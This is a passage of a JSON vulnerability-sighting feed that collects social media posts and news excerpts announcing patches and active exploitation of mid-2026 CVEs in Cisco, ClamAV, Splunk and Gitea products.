"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3msh6ptov7j2p", "content": "Cisco patches critical root-level RCE flaw (CVE-2026-20200) in its IMC server management software. A public PoC exploit is available, making attacks imminent. Unauthenticated attackers can take over UCS servers. Patch now! #Cisco #Vulnerability #PoC\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-08-06T23:23:07.863502Z"}, {"uuid": "10940ff9-26f6-4a04-bebf-6ff6838c0585", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/117051134144736943", "content": "\ud83d\udcf0 Cisco Patches Critical IMC Flaw (CVE-2026-20200) with Public PoC\nCisco patches critical root-level RCE flaw (CVE-2026-20200) in its IMC server management software. A public PoC exploit is available, making attacks imminent. Unauthenticated attackers can take over UCS servers. Patch now! #Cisco #Vulnerability #PoC\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-patches-critical-root-level-imc-flaw-with-public-poc/?utm_source=mastodon&utm_medium=social&utm_campaign=daily", "creation_timestamp": "2026-08-06T23:24:57.202744Z"}, {"uuid": "01ecc0da-6b5f-482f-953b-bb5e2f07fcf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/117077231235982411", "content": "The security flaws (tracked as CVE-2026-20337 and CVE-2026-20338) were found in the ZIP archive parser of ClamAV (Clam AntiVirus), the open-source and cross-platform engine used to scan files for malware. https://www.bleepingcomputer.com/news/security/cisco-warns-of-high-severity-clamav-flaws-with-public-exploits/", "creation_timestamp": "2026-08-11T13:59:35.855311Z"}, {"uuid": "eed23d91-ec7e-45c0-8a55-0218461f3614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mssrla3bc22q", "content": "The security flaws (tracked as CVE-2026-20337 and CVE-2026-20338) were found in the ZIP archive parser of ClamAV (Clam AntiVirus), the open-source and cross-platform engine used to scan files for malware. www.bleepingcomputer.com/news/securit...", "creation_timestamp": "2026-08-11T13:59:51.939555Z"}, {"uuid": "4e9b5c19-d813-40a7-b419-91e523bcf05b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mssrla3bc22q", "content": "The security flaws (tracked as CVE-2026-20337 and CVE-2026-20338) were found in the ZIP archive parser of ClamAV (Clam AntiVirus), the open-source and cross-platform engine used to scan files for malware. www.bleepingcomputer.com/news/securit...", "creation_timestamp": "2026-08-11T13:59:51.991192Z"}, {"uuid": "957f64ee-e0e6-4ca5-9239-34962b565fb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/117077231235982411", "content": "The security flaws (tracked as CVE-2026-20337 and CVE-2026-20338) were found in the ZIP archive parser of ClamAV (Clam AntiVirus), the open-source and cross-platform engine used to scan files for malware. https://www.bleepingcomputer.com/news/security/cisco-warns-of-high-severity-clamav-flaws-with-public-exploits/", "creation_timestamp": "2026-08-11T13:59:35.918995Z"}, {"uuid": "3f07c99a-d5d7-4132-ba9c-4b93467bcf3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20337", "type": "seen", "source": "https://bsky.app/profile/methiaff.bsky.social/post/3mssroex7ku2d", "content": "clamav zip parser flaws. so cve-2026-20337 and cve-2026-20338 are dos vectors.", "creation_timestamp": "2026-08-11T14:01:36.678049Z"}, {"uuid": "e0233bdb-1df6-443d-a924-12895fb10e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20338", "type": "seen", "source": "https://bsky.app/profile/methiaff.bsky.social/post/3mssroex7ku2d", "content": "clamav zip parser flaws. so cve-2026-20337 and cve-2026-20338 are dos vectors.", "creation_timestamp": "2026-08-11T14:01:36.717228Z"}, {"uuid": "b38477f8-9605-4462-9275-dbedaea6ef58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/alejandxr.bsky.social/post/3msxrfnmnt42t", "content": "Exposing /+CSCOE+/ on a public Cisco ASA gateway is a liability. CVE-2026-20349 lets an unauthenticated remote request trigger a heap-inspection crash and reload the entire firewall.", "creation_timestamp": "2026-08-13T13:40:03.472286Z"}, {"uuid": "9046b059-6c48-49f2-8c38-939471e029fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/alejandxr.bsky.social/post/3msxrfpqtgv2c", "content": "We wrote a breakdown of the CVE-2026-20349 advisory and how to mitigate it: https://sable.somoswilab.com/blog/cisco-asa-dos", "creation_timestamp": "2026-08-13T13:40:04.648919Z"}, {"uuid": "49ae4f3b-3f8f-4111-838b-7b48349c84ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/neroqc.bsky.social/post/3msxrfxpr2k2x", "content": "Cisco fixes vulnerability exploited to DoS its firewalls (CVE-2026-20349)\nwww.helpnetsecurity.com/2026/08/13/c...", "creation_timestamp": "2026-08-13T13:40:15.663481Z"}, {"uuid": "23eb0024-fc0a-4904-b1a2-00ff699b950b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20349", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3msxrmjoa4w2e", "content": "\ud83d\udc1b VULNERABILITIES Cisco fixes vulnerability exploited to DoS its firewalls (CVE-2026-20349) \u2014 Help Net Security\nhttps://www.helpnetsecurity.com/2026/08/13/cve-2026-20349-cisco-firewalls-dos/ #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-08-13T13:43:53.147502Z"}, {"uuid": "0db4240c-e1ea-496e-8fef-745cdcdb07bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mshbiptlrk2o", "content": "Cisco IMC\u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u306b\u3088\u308a\u653b\u6483\u8005\u304croot\u6a29\u9650\u3092\u53d6\u5f97\u53ef\u80fd\u3001\u6982\u5ff5\u5b9f\u8a3c\uff08PoC\uff09\u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f\uff08CVE-2026-20200\uff09 \n\nCritical Cisco IMC bug gives attackers root, PoC is out (CVE-2026-20200)  #HelpNetSecurity (Aug 6)\n\nwww.helpnetsecurity.com/2026/08/06/c...", "creation_timestamp": "2026-08-07T00:12:49.930881Z"}, {"uuid": "5868e46b-e300-44f4-b5d2-d2b3f0281967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "MISP/170722ec-e2a5-4455-9c36-cb36b72bcffc", "content": "", "creation_timestamp": "2026-08-07T00:15:02.787302Z"}, {"uuid": "0e2c4682-5ed2-4f82-86dd-48d73311e5d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mpxty2lc6r2s", "content": "Anyone running Cisco $CSCO Catalyst SD-WAN Manager should check their logs now. Mandiant says an attacker exploited CVE-2026-20245, a command-injection flaw in vManage, as a zero-day for about two months before disclosure, uploading a malicious CSV to run commands as root. Fixed builds are out.", "creation_timestamp": "2026-07-06T10:10:33.186735Z"}, {"uuid": "f599afe7-03ef-42b4-a6a5-fb45c4ec88d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mpym3e6xsa2p", "content": "Threat actors attempt to exploit CVE-2026-20896 in Gitea Docker images by abusing trusted reverse-proxy authentication via the X-WEBAUTH-USER header.\n", "creation_timestamp": "2026-07-06T17:21:53.550435Z"}, {"uuid": "71ae1653-92fb-4fd9-9a3d-46be2804dba8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mpyquy64dk2n", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure\n\nthehackernews.com/2026/07/thre...\n\n#Cybersecurity #ThreatIntel #Vulnerability", "creation_timestamp": "2026-07-06T18:48:11.058488Z"}, {"uuid": "5b6fa221-6d83-4e09-9dbf-baf6ae649044", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mtdlqs7cdw25", "content": "\ud83d\udd13 Vuln\u00e9rabilit\u00e9s (CERT-FR) :\n\u2022 Cisco : CVE-2026-20349 activement exploit\u00e9e\n\u2022 OpenSSH : multiples vuln\u00e9rabilit\u00e9s\nhttps://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1010/\nhttps://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0997/", "creation_timestamp": "2026-08-18T06:30:50.568657Z"}, {"uuid": "34a17f0a-7508-47d6-aa10-4d1efb54071f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mtg4byhgau2y", "content": "\ud83d\udc1b Vuln\u00e9rabilit\u00e9s : Cisco CVE-2026-20349 activement exploit\u00e9e (DoS) https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1010/ ; PostgreSQL : RCE possible, patch dispo. https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1024/", "creation_timestamp": "2026-08-19T06:32:07.164117Z"}, {"uuid": "3043736e-6b00-4a3c-9f19-ed4dc7528d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/sen-perimetered.bsky.social/post/3mpy3cqiiez2r", "content": "CVE-2026-20253: Splunk Enterprise, KEV-listed, actively exploited. No credentials required \u2014 unauthenticated file write/truncate via a PostgreSQL sidecar endpoint with zero auth controls. Shadowserver: 1,400+ exposed instances. Affected: 10.0.0\u201310.0.6, 10.2.0\u201310.2.3. Patch now.", "creation_timestamp": "2026-07-06T12:21:47.622619Z"}, {"uuid": "673f2aff-cea5-4242-9152-186d2ab31b5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20191", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116873964995993329", "content": "At least Cisco is undeterred by the news slump over the long July 4 holiday. This is a new advisory \nHigh-severity CVE-2026-20191: Cisco Catalyst Center Arbitrary File Read Vulnerability https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-catc-file-read-wLH2vf8X @TalosSecurity #infosec #Cisco #vulnerability", "creation_timestamp": "2026-07-06T16:26:21.898841Z"}, {"uuid": "69d0eb7e-5e88-4822-8694-43cec8625307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mpyjmjuh2f24", "content": "Threat actors probe Gitea Docker flaw CVE-2026-20896; update to version 1.26.3 immediately. #Gitea #Docker #CVE202620896 #CyberSecurity #DevOps #ContainerSecurity #Sysdig thedailytechfeed.com/threat-actor...", "creation_timestamp": "2026-07-06T16:37:48.940283Z"}, {"uuid": "77936aba-b592-470f-b3d0-d8ee5d3eafa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/happeningnow.news/post/3mpymmfpqcp2s", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure\nThreat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig. The vulnerability in question is\u2026\n\n\ud83d\udd17 https://hnow.live/a/54e7dfd1", "creation_timestamp": "2026-07-06T17:31:26.339917Z"}, {"uuid": "0c39f5d1-fc43-4495-913d-10a503439e4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mpynfgf3qn2w", "content": "Threat actors are probing Gitea Docker CVE-2026-20896, where trusted X-WEBAUTH-USER headers could enable user impersonation. Affects images through 1.26.2; fixed in 1.26.3. #Gitea #CVE-2026-20896 #Sysdig", "creation_timestamp": "2026-07-06T17:45:25.477030Z"}, {"uuid": "8dbb2c57-3add-4c81-a466-bf3a48e85381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpynjni2522p", "content": "CVE-2026-20896: Threat Actors Probing Gitea Docker Flaw Just 13 Days Post-Disclosure #CVE #Gitea #Docker", "creation_timestamp": "2026-07-06T17:47:46.826896Z"}, {"uuid": "81621d94-49ea-4b04-84fd-d4c1a8c78f9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpynjscrlz2v", "content": "CVE-2026-20896: Gitea's Critical Docker Flaw Ignites Immediate Attacker Interest #CVE202620896 #Gitea #Docker", "creation_timestamp": "2026-07-06T17:47:51.999147Z"}, {"uuid": "de01c308-d3bf-4c7b-b904-595ee9f6b0fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpynjw3voa26", "content": "CVE-2026-20896: Quick Probes on Gitea Docker Flaw Raise Alarms #CVE2026 #Gitea #DockerSecurity", "creation_timestamp": "2026-07-06T17:47:55.730040Z"}, {"uuid": "51c2c8d5-548c-45ec-aa3f-42391f54e4a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpynjzcgtb2v", "content": "CVE-2026-20896: Gitea Docker's Flawed Trust Model Exposes Users to Attacks #CVE202620896 #Gitea #DockerSecurity", "creation_timestamp": "2026-07-06T17:47:59.446838Z"}, {"uuid": "2856693d-163a-4f6f-9921-79903909f8ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpynocazyj2v", "content": "CVE-2026-20896: Attackers Probing Gitea Docker Flaw Raising Eyebrows #CyberSecurity #CVE2026 #Gitea", "creation_timestamp": "2026-07-06T17:50:23.453041Z"}, {"uuid": "84782018-f928-4998-8a36-765624c27819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mpynofl34f2k", "content": "CVE-2026-20896: Are Threat Actors Exploiting Gitea Flaws Too Soon? #CVE202620896 #GiteaSecurity #ThreatActors", "creation_timestamp": "2026-07-06T17:50:26.511200Z"}, {"uuid": "e205fcc4-3389-4c69-b45d-bebf48c37fad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mpynoifcex2v", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure", "creation_timestamp": "2026-07-06T17:50:29.501152Z"}, {"uuid": "810a19d9-dd37-49bd-9e0b-03339e49ef72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/csirts.bsky.social/post/3mpyqmrjv632g", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-20230: Cisco Unified Communications Manager Server-Side Request Forgery (SSRF) Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-20230", "creation_timestamp": "2026-07-06T18:43:12.795429Z"}, {"uuid": "7c1446c0-6b50-46f1-8410-31bee4a6ae60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mpyowhw5i32x", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure", "creation_timestamp": "2026-07-06T18:12:50.833036Z"}, {"uuid": "e89b442e-1e5f-4538-8224-70fb6e494caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mpyqphtlhf2i", "content": "Gitea's official Docker image trusts the X-WEBAUTH-USER login header from any IP, so with reverse-proxy auth on, anyone reachable can log in as any user, no password.\n\nAffects images through 1.26.2. Fix: upgrade to 1.26.3. (CVE-2026-20896)", "creation_timestamp": "2026-07-06T18:44:43.380456Z"}, {"uuid": "b773791e-44e3-496f-818f-552c3a53527d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://thehackernews.com/2026/07/threat-actors-probe-gitea-docker-flaw.html", "content": "Threat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig.\n\nThe vulnerability in question is CVE-2026-20896 (CVSS score: 9.8), a vulnerability that stems from the DevOps platform trusting the \"X-WEBAUTH-USER\" header from any source IP address, effectively allowing an unauthenticated internet client to get elevated", "creation_timestamp": "2026-07-06T19:00:42.499529Z"}, {"uuid": "03023146-be47-4246-bdf3-fd4a02659e29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20896", "type": "seen", "source": "https://bsky.app/profile/blindthoughts.bsky.social/post/3mpyvtlmep32k", "content": "Active Exploitation: Patch CVE-2026-20896 in Gitea Docker Now (CVSS 9.8)\n\nhttps://blindthoughts.com/cve-2026-20896-gitea-docker-active-exploitation\n\n#vulnerability #gitea #docker #cve #activeexploitation", "creation_timestamp": "2026-07-06T20:16:29.915258Z"}, {"uuid": "793f96a2-2a7c-4386-ab8a-00fc63042ca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mpyyqnac3b2j", "content": "\ud83e\udd16 CVE-2026-20896 (CVSS 9.8): Critical Gitea Docker flaw \u2014 unauthenticated RCE via X-WEBAUTH-USER header spoofing. Active exploitation detected.\n\nhttps://thehackernews.com/2026/07/threat-actors-probe-gitea-docker-flaw.html", "creation_timestamp": "2026-07-06T21:08:32.065365Z"}, {"uuid": "5c53ee2a-dc3c-45fb-a90c-37c2fe9d82dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/sleepydogtsjp.bsky.social/post/3mpz2kitryc2r", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure\nthehackernews.com/2026/07/thre...", "creation_timestamp": "2026-07-06T21:40:55.805381Z"}, {"uuid": "479f1e17-4c9f-4a4b-bf6c-1ebddbb13dee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mpz4ri2krg2b", "content": "\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304cGitea\u306eDocker\u8106\u5f31\u6027CVE-2026-20896\u3092\u8abf\u67fb\uff08\u516c\u958b\u304b\u308913\u65e5\u5f8c\uff09 \n\nThreat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure  #HackerNews (Jul 6)\n\nthehackernews.com/2026/07/thre...", "creation_timestamp": "2026-07-06T22:20:36.242482Z"}, {"uuid": "53b1c07f-c037-4bc5-9e60-10dbd0b30767", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mpz3q4byjv2l", "content": "\ud83d\udcf0 Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure\n\nThreat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker i...\n\nhttps://tinyurl.com/2demjwlz #TechNews #CrustyTLDR", "creation_timestamp": "2026-07-06T22:01:55.624608Z"}, {"uuid": "dbafe40f-a96f-4d80-81df-4189c9b6c725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/iberianm.bsky.social/post/3mpzpr7kl4q2m", "content": "Gitea Docker flaw CVE-2026-20896: attackers probe the patched issue quickly. Defenders should upgrade Gitea images to the fixed version and verify X-WEBAUTH handling. #Cybersecurity #Vulnerability #ThreatIntel\n\nSource: https://thehackernews.com/2026/07/threat-actors-probe-gitea-docker-flaw.html", "creation_timestamp": "2026-07-07T04:00:27.815740Z"}, {"uuid": "edc88acb-c4b1-4793-8ca2-9c6b63781557", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://thehackernews.com/2026/07/threat-actors-probe-gitea-docker-flaw.html", "content": "Threat actors have been observed attempting to exploit a recently patched critical security flaw in Gitea Docker images, according to Sysdig.\n\nThe vulnerability in question is CVE-2026-20896 (CVSS score: 9.8), a vulnerability that stems from the DevOps platform trusting the \"X-WEBAUTH-USER\" header from any source IP address, effectively allowing an unauthenticated internet client to get elevated", "creation_timestamp": "2026-07-07T01:00:43.011535Z"}, {"uuid": "1bc2b1c3-4021-48c1-81f4-1f5925d95b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mpzou6injh2q", "content": "Threat Actors Probe Gitea Docker Flaw CVE-2026-20896 13 Days After Disclosure #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "creation_timestamp": "2026-07-07T03:44:13.678490Z"}, {"uuid": "18f45ecc-2214-46b8-b3b2-044426e90170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mpztbcg6ut2h", "content": "Daily IT Security Digest \u2014 2026-07-07\n[@amitav63.bsky.social](https://timesofindia.indiatimes.com/world/us/chi...)\n\n## 8. \ud83d\udee1\ufe0f Active Exploits: Cisco SD-WAN, Check Point VPN, BlueKeep Resurgence\nCisco Catalyst SD-WAN Manager zero-day (CVE-2026-20262) exploited in the wild for root escalation.", "creation_timestamp": "2026-07-07T05:03:09.441387Z"}, {"uuid": "7acd66c8-19cb-456f-bd63-eaca48335b2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117077984429270584", "content": "Broadcom has several new advisories that include two critical vulnerabilities https://support.broadcom.com/web/ecx/security-advisory #Broadcom \nCISA:\nIndustrial vulnerability: Johnson Controls C-CURE 9000 and Victor application server (Update A) https://www.cisa.gov/news-events/ics-advisories/icsa-26-204-01\nBlog post: Cyber Storm X: 20 Years of Readiness, Resilience, and Real\u2011World Impact https://www.cisa.gov/news-events/news/cyber-storm-x-20-years-readiness-resilience-and-real-world-impact #CISA \nCisco:\nHigh-severity: CVE-2026-20349: Cisco Secure Firewall Adaptive Security Appliance and Secure Firewall Threat Defense Software Remote Access SSL VPN Denial of Service https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-dzv4mQFF @TalosSecurity #Cisco \nYesterday:\nTenable Research Advisories: \nMedium-severity: CVE-2026-12879: Google Cloud Platform (GCP) Apigee Cross-Tenant Data Exfiltration via Confused Deputy https://www.tenable.com/security/research/tra-2026-53 #infosec #Google #vulnerability", "creation_timestamp": "2026-08-11T17:11:08.853513Z"}, {"uuid": "71bf8a5c-217e-46fa-98de-496eadf378e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3msxvvkfq222f", "content": "2/ \u26a0\ufe0f Cisco confirmed active exploitation of CVE-2026-20349 in ASA/FTD firewalls. No password needed. CISA deadline: August 14. That's tomorrow. Patch now.", "creation_timestamp": "2026-08-13T15:00:33.279460Z"}, {"uuid": "d7b0ec95-11a4-49d1-b22f-989099f76bb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3msxvvkfq232f", "content": "2/ \u26a0\ufe0f Cisco confirmed active exploitation of CVE-2026-20349 in ASA/FTD firewalls. No password needed. CISA deadline: August 14. That's tomorrow. Patch now.", "creation_timestamp": "2026-08-13T15:00:33.745002Z"}, {"uuid": "0b41ab71-ee48-4b96-830b-a87f50604ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20357", "type": "seen", "source": "https://t.me/true_secator/8535", "content": 